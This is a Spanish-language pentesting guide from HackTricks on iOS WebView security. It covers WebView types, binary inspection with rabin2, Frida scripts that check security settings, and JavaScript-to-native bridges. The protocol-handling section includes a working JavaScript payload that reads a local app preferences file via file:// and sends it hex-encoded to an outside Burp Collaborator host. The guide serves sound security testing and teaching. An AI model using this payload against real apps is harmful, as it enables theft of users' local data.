iOS WebViews

Support HackTricks

The code of this page was extracted from here. Check the page for further details.

Tipos de WebViews

Las WebViews se utilizan dentro de las aplicaciones para mostrar contenido web de manera interactiva. Varios tipos de WebViews ofrecen diferentes funcionalidades y características de seguridad para aplicaciones iOS. Aquí hay un breve resumen:

  • UIWebView, que ya no se recomienda a partir de iOS 12 debido a su falta de soporte para deshabilitar JavaScript, lo que la hace susceptible a inyecciones de scripts y ataques de Cross-Site Scripting (XSS).

  • WKWebView es la opción preferida para incorporar contenido web en aplicaciones, ofreciendo un control mejorado sobre el contenido y características de seguridad. JavaScript está habilitado por defecto, pero se puede deshabilitar si es necesario. También admite características para evitar que JavaScript abra ventanas automáticamente y asegura que todo el contenido se cargue de manera segura. Además, la arquitectura de WKWebView minimiza el riesgo de corrupción de memoria que afecte al proceso principal de la aplicación.

  • SFSafariViewController ofrece una experiencia de navegación web estandarizada dentro de las aplicaciones, reconocible por su diseño específico que incluye un campo de dirección de solo lectura, botones de compartir y navegación, y un enlace directo para abrir contenido en Safari. A diferencia de WKWebView, JavaScript no se puede deshabilitar en SFSafariViewController, que también comparte cookies y datos con Safari, manteniendo la privacidad del usuario desde la aplicación. Debe mostrarse de manera prominente de acuerdo con las pautas de la App Store.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

Resumen de Exploración de Configuración de WebViews

Descripción General del Análisis Estático

En el proceso de examinar las configuraciones de WebViews, se enfocan en dos tipos principales: UIWebView y WKWebView. Para identificar estos WebViews dentro de un binario, se utilizan comandos, buscando referencias de clase específicas y métodos de inicialización.

  • Identificación de UIWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

Este comando ayuda a localizar instancias de UIWebView buscando cadenas de texto relacionadas con él en el binario.

  • Identificación de WKWebView

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

De manera similar, para WKWebView, este comando busca en el binario cadenas de texto indicativas de su uso.

Además, para encontrar cómo se inicializa un WKWebView, se ejecuta el siguiente comando, dirigido a la firma del método relacionada con su inicialización:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

Verificación de Configuración de JavaScript

Para WKWebView, se destaca que deshabilitar JavaScript es una buena práctica a menos que sea necesario. Se busca en el binario compilado para confirmar que la propiedad javaScriptEnabled está configurada en false, asegurando que JavaScript esté deshabilitado:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Verificación de Solo Contenido Seguro

WKWebView ofrece la capacidad de identificar problemas de contenido mixto, a diferencia de UIWebView. Esto se verifica utilizando la propiedad hasOnlySecureContent para asegurar que todos los recursos de la página se carguen a través de conexiones seguras. La búsqueda en el binario compilado se realiza de la siguiente manera:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

Perspectivas de Análisis Dinámico

El análisis dinámico implica inspeccionar el heap en busca de instancias de WebView y sus propiedades. Se utiliza un script llamado webviews_inspector.js para este propósito, dirigido a instancias de UIWebView, WKWebView y SFSafariViewController. Registra información sobre las instancias encontradas, incluyendo URLs y configuraciones relacionadas con JavaScript y contenido seguro.

La inspección del heap se puede realizar utilizando ObjC.choose() para identificar instancias de WebView y verificar las propiedades javaScriptEnabled y hasonlysecurecontent.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

El script se ejecuta con:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

Resultados Clave:

  • Se localizan e inspeccionan con éxito las instancias de WebViews.

  • Se verifica la habilitación de JavaScript y la configuración de contenido seguro.

Este resumen encapsula los pasos y comandos críticos involucrados en el análisis de configuraciones de WebView a través de enfoques estáticos y dinámicos, centrándose en características de seguridad como la habilitación de JavaScript y la detección de contenido mixto.

Manejo del Protocolo WebView

Manejar contenido en WebViews es un aspecto crítico, especialmente al tratar con varios protocolos como http(s)://, file:// y tel://. Estos protocolos permiten la carga de contenido remoto y local dentro de las aplicaciones. Se enfatiza que al cargar contenido local, se deben tomar precauciones para evitar que los usuarios influyan en el nombre o la ruta del archivo y en la edición del contenido mismo.

WebViews ofrecen diferentes métodos para la carga de contenido. Para UIWebView, ahora obsoleto, se utilizan métodos como loadHTMLString:baseURL: y loadData:MIMEType:textEncodingName:baseURL:. WKWebView, por otro lado, emplea loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL: y loadRequest: para contenido web. Métodos como pathForResource:ofType:, URLForResource:withExtension: y init(contentsOf:encoding:) se utilizan típicamente para cargar archivos locales. El método loadFileURL:allowingReadAccessToURL: es particularmente notable por su capacidad para cargar una URL o directorio específico en el WebView, exponiendo potencialmente datos sensibles si se especifica un directorio.

Para encontrar estos métodos en el código fuente o binario compilado, se pueden usar comandos como los siguientes:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

En cuanto al acceso a archivos, UIWebView lo permite de manera universal, mientras que WKWebView introduce configuraciones allowFileAccessFromFileURLs y allowUniversalAccessFromFileURLs para gestionar el acceso desde URL de archivos, siendo ambas falsas por defecto.

Se proporciona un ejemplo de script de Frida para inspeccionar las configuraciones de WKWebView para ajustes de seguridad:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

Por último, un ejemplo de una carga útil de JavaScript destinada a exfiltrar archivos locales demuestra el potencial riesgo de seguridad asociado con WebViews mal configurados. Esta carga útil codifica el contenido de los archivos en formato hex antes de transmitirlos a un servidor, destacando la importancia de medidas de seguridad estrictas en las implementaciones de WebView.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

Métodos Nativos Expuestos a Través de WebViews

Comprendiendo las Interfaces Nativas de WebView en iOS

Desde iOS 7 en adelante, Apple proporcionó APIs para la comunicación entre JavaScript en un WebView y objetos nativos de Swift u Objective-C. Esta integración se facilita principalmente a través de dos métodos:

  • JSContext: Una función de JavaScript se crea automáticamente cuando un bloque de Swift u Objective-C se vincula a un identificador dentro de un JSContext. Esto permite una integración y comunicación sin problemas entre JavaScript y el código nativo.

  • JSExport Protocol: Al heredar el protocolo JSExport, se pueden exponer propiedades nativas, métodos de instancia y métodos de clase a JavaScript. Esto significa que cualquier cambio realizado en el entorno de JavaScript se refleja en el entorno nativo, y viceversa. Sin embargo, es esencial asegurarse de que los datos sensibles no se expongan inadvertidamente a través de este método.

Accediendo a JSContext en Objective-C

En Objective-C, el JSContext para un UIWebView se puede recuperar con la siguiente línea de código:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Comunicación con WKWebView

Para WKWebView, el acceso directo a JSContext no está disponible. En su lugar, se utiliza el paso de mensajes a través de la función postMessage, lo que permite la comunicación de JavaScript a nativo. Los controladores para estos mensajes se configuran de la siguiente manera, lo que permite que JavaScript interactúe con la aplicación nativa de manera segura:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interacción y Pruebas

JavaScript puede interactuar con la capa nativa definiendo un controlador de mensajes de script. Esto permite operaciones como invocar funciones nativas desde una página web:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

Para capturar y manipular el resultado de una llamada a una función nativa, se puede anular la función de callback dentro del HTML:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

El lado nativo maneja la llamada de JavaScript como se muestra en la clase JavaScriptBridgeMessageHandler, donde el resultado de operaciones como multiplicar números se procesa y se envía de vuelta a JavaScript para su visualización o manipulación adicional:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Depuración de WebViews en iOS

(Tutorial basado en el de https://blog.vuplex.com/debugging-webviews)

Para depurar eficazmente el contenido web dentro de los webviews de iOS, se requiere una configuración específica que involucra las herramientas de desarrollador de Safari, debido a que los mensajes enviados a console.log() no se muestran en los registros de Xcode. Aquí hay una guía simplificada, enfatizando los pasos y requisitos clave:

  • Preparación en el dispositivo iOS: El Inspector Web de Safari debe ser activado en tu dispositivo iOS. Esto se hace yendo a Configuración > Safari > Avanzado, y habilitando el Inspector Web.

  • Preparación en el dispositivo macOS: En tu máquina de desarrollo macOS, debes habilitar las herramientas de desarrollador dentro de Safari. Inicia Safari, accede a Safari > Preferencias > Avanzado, y selecciona la opción para Mostrar menú de Desarrollo.

  • Conexión y depuración: Después de conectar tu dispositivo iOS a tu computadora macOS y lanzar tu aplicación, usa Safari en tu dispositivo macOS para seleccionar el webview que deseas depurar. Navega a Desarrollar en la barra de menú de Safari, pasa el cursor sobre el nombre de tu dispositivo iOS para ver una lista de instancias de webview, y selecciona la instancia que deseas inspeccionar. Se abrirá una nueva ventana del Inspector Web de Safari para este propósito.

Sin embargo, ten en cuenta las limitaciones:

  • La depuración con este método requiere un dispositivo macOS ya que se basa en Safari.

  • Solo los webviews en aplicaciones cargadas en tu dispositivo a través de Xcode son elegibles para la depuración. Los webviews en aplicaciones instaladas a través de la App Store o Apple Configurator no pueden ser depurados de esta manera.

Referencias

Apoya a HackTricks

Last updated